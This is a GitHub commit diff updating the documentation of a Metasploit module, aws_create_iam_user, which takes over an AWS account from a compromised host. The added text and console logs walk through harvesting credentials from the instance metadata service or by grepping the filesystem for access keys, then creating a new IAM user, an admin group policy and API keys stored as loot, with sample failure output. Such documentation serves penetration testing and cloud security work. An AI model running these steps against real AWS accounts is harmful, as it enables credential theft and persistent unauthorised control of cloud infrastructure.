You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
aws_create_iam_user can be used to take over an AWS account given access to
65
+
a host having 1). overly permissive instance profile/role, 2). API Access keys.
66
+
Once a foothold is established, you can run the module to pull temporary
67
+
access keys from the metadata service. If this fails, search the instance for
68
+
API access keys, e.g., see ~/aws/credentals, and set `AccessKeyId`,
69
+
`SecretAccessKey`, & `Token` (optional).
70
+
71
+
## Options
72
+
73
+
*`IAM_USERNAME`: set this if you would like to control the username for to user to be created
74
+
*`AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
75
+
*`SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
76
+
*`Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
77
+
*`Proxies`: depending on your environment, you may wan to proxy your calls to AWS.
78
+
79
+
80
+
### Establish a foothold
20
81
21
82
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
22
83
foothold and launch a meterpreter session.
@@ -59,53 +120,92 @@ Active sessions
59
120
60
121
```
61
122
62
-
## Create IAM User
123
+
## Overly Permissive Instance Profile
63
124
64
-
Now you can load `aws_create_iam_user` and specify a meterpreter sesssion,
65
-
e.g., `SESSION 1`.
125
+
Here we are assuming that we have taken over a host having an instance profile with
126
+
overly permissive access. Once a session is established, we can load
127
+
`aws_create_iam_user` and specify a meterpreter sesssion,
128
+
e.g., `SESSION 1` and run the exploit.
66
129
67
130
```
68
131
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
[*] Adding user (J2XXox11WW4brAcb) to group: J2XXox11WW4brAcb
144
+
[*] Connecting (iam.amazonaws.com)...
145
+
[*] Creating API Keys for J2XXox11WW4brAcb
146
+
[*] Connecting (iam.amazonaws.com)...
104
147
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
105
148
[*] Post module execution completed
106
-
msf post(aws_create_iam_user) > exit -y
107
149
```
108
150
151
+
If the host does not have an instance profile or the right access, the output will look like so:
152
+
153
+
```
154
+
[*] 169.254.169.254 - looking for creds...
155
+
[*] Creating user: 3SFFML3ucP1AyP7J
156
+
[*] Connecting (iam.amazonaws.com)...
157
+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/3SFFML3ucP1AyP7J
158
+
[*] Creating group: 3SFFML3ucP1AyP7J
159
+
[*] Connecting (iam.amazonaws.com)...
160
+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::097986286576:group/3SFFML3ucP1AyP7J
161
+
[*] Creating group policy: 3SFFML3ucP1AyP7J
162
+
[*] Connecting (iam.amazonaws.com)...
163
+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
164
+
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
165
+
[*] Connecting (iam.amazonaws.com)...
166
+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
167
+
[*] Creating API Keys for 3SFFML3ucP1AyP7J
168
+
[*] Connecting (iam.amazonaws.com)...
169
+
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
170
+
[*] Post module execution completed
171
+
```
172
+
173
+
## API Access Keys
174
+
175
+
In the case that the host we have taken over has no instance profile or does not
176
+
have the required privileges, we can search the host for access keys with
177
+
something like `grep -r AKIA /`. These keys may have admin privileges at which
178
+
point you own the account, if not we may be able to escalate privileges.
179
+
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
180
+
the exploit to test this possibility.
181
+
182
+
```
183
+
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
184
+
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
185
+
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
186
+
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
0 commit comments